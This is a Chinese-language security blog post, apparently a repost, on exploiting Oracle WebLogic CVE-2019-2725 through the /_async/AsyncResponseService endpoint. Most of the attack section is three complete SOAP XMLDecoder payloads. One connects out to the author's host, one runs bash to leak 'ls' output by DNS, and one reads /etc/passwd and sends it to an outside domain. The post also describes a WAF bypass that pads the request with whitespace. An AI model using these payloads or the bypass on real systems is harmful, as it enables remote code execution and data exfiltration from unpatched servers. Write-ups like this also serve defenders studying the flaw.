weblogic远程代码执行(利用CVE-2019-2725)
2021-01-30 10:54:02 Author: mp.weixin.qq.com(查看原文) 阅读量:140 收藏

文章来源:EDI安全

Part 01

TL;DR

在本文中,我将解释用于开发CVE-2019-2725的几种技术。

Part 02

关于weblogic

Oracle WebLogic Server是Oracle Corporation当前开发的Java EE应用服务器。Oracle在2008年收购BEA Systems时收购了WebLogic Server。Wikipedia

Part 03

CVE-2019-2725

2019年4月25日,一组网络安全研究人员发布了警告,描述了Oracle WebLogic中的远程代码执行零日漏洞。此漏洞影响启用了组件wls9_async_response.war和wls-wsat.war的WebLogic版本10.X和12.1.3。可以通过将带有Java XML bean的特制SOAP请求发送到endpoint来验证该漏洞/_async/AsyncResponseService。

Part 04

细节

在对已安装weblogic的目标进行渗透测试时,我决定测试常见的weblogic CVE。目标具有/_async/AsyncResponseService可用于测试CVE-2019-2725的endpoint“ ”。我尝试做的第一件事是通过创建一个尝试连接到服务器的“ java.net.Socket”对象来验证目标是否易受攻击,并查看是否可以使用以下payload在监听器上获得任何连接:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   <soapenv:Header> <wsa:Action>demo</wsa:Action><wsa:RelatesTo>test</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<class>
<string>java.net.Socket</string>
<void>
<string>rcetest.test.zombiehelp54.me</string>
<int>80</int>
</void>
</class>
</java>
</work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>

但是,由于WAF,服务器从未响应,并且从未发送过我的请求,经过更多测试,我能够通过在XMLpayload之前添加这么多的空间来绕过WAF,因为当内容出现时,WAF会忽略其余的请求数据长度太长。

之后,我确实获得了202状态的响应,但是,在endpoint80上的netcat侦听器上什么都没有得到,后来我发现防火墙也阻止了所有传出连接。然后,我决定检查DNS请求,发现DNS请求正在发送,并且在我的侦听器上收到了DNS请求

rcetest.test.zombiehelp54.me

这样说就意味着服务器很容易受到攻击,因为我能够创建一个“ java.net.Socket”对象并将其连接到我的服务器。

org.slf4j.ext.EventData类来利用它,但是从来没有提供该类的payload,但是,在阅读了org.slf4j.ext.EventData类的源代码之后,我能够构建自己的payload来执行系统命令:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   <soapenv:Header> <wsa:Action>demo</wsa:Action><wsa:RelatesTo>test</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<class>
<string>org.slf4j.ext.EventData</string>
<void>
<string>
<![CDATA[<java version="1.8" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping "`ls | head -n 1`.hack.zombiehelp54.me"</string>
</void>
</array>
<void method="start" /></void>
</java>]]>
</string>
</void>
</class>
</java>
</work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>

基本上,以上XML确实是它创建了一个org.slf4j.ext.EventData对象,它需要一个XML bean作为一个字符串,然后解码,并创建一个java.lang.ProcessBuilder对象出来,该后 start()方法被调用,其执行系统命令

ping "`ls | head -n 1`.hack.zombiehelp54.me"

因此有一个DNS请求ls命令的结果。

我报告了所发现的内容,然后继续在其他漏洞赏金计划中寻找相同的漏洞。另外,我发现了其他一些漏洞赏金程序,它们也很容易受到攻击,并且其中一些使用了相同的惰性WAF,当长度太长时,它会忽略请求正文。他们中的一些部署自定义修复程序不能访问java.lang.ProcessBuilder,以及java.lang.Runtime类,以防止系统命令的执行,然而,这样做更多的研究,关于“后java.beans.XMLDecoder”级和理解的语法,它可以用来创建任何类中的任何Java对象与调用函数和添加属性的能力。因此,可以对提到的易受攻击的服务器进行读写。

如此说来,我创建了一个XML bean,它读取文件“ /etc/passwd”并将其通过DNS请求发送到我的服务器:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   <soapenv:Header> <wsa:Action>demo</wsa:Action><wsa:RelatesTo>test</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<class>
<string>org.slf4j.ext.EventData</string>
<void>
<string><![CDATA[
<java>
<object id="file" class="java.io.FileReader">
<string>/etc/passwd</string>
</object>
<object id="text" class="java.io.BufferedReader">
<object idref="file" />
<void id="res" method="readLine"/>
</object>
<object idref="res">
<void id="res2" method="replace">
<string>:</string>
<string>-</string>
</void>
</object>
<object idref="res2">
<void id="res3" method="replace">
<string>/</string>
<string>-</string>
</void>
</object>
<object id="zhp" class="java.lang.String">
<string>http://</string>
</object>
<object idref="zhp">
<void id="res4" method="concat" >
<object idref="res3" />
</void>
</object>
<object idref="res4">
<void id="res5" method="concat" >
<string>.hack.zombiehelp54.me</string>
</void>
</object>
<object id="url" class="java.net.URL">
<object idref="res5" /></object>
<object idref="url">
<void id="connection" method="openConnection" />
</object>
<object idref="connection">
<void id="inputStream" method="getInputStream"/>
</object>
</java>
]]></string>
</void>
</class>
</java>
</work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>

推荐文章++++

*CVE-2019-11043 PHP远程代码执行

*Apache Unomi 远程表达式代码执行(CVE-2020-13942)漏洞复现

*phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650502571&idx=3&sn=03d2b2454a8fd868e9aead5cf7a5439d&chksm=83ba104fb4cd9959abb3840ea95215fda3428efa604821fa0e850bdc872eacaf2e3925b30d19#rd
如有侵权请联系:admin#unsafe.sh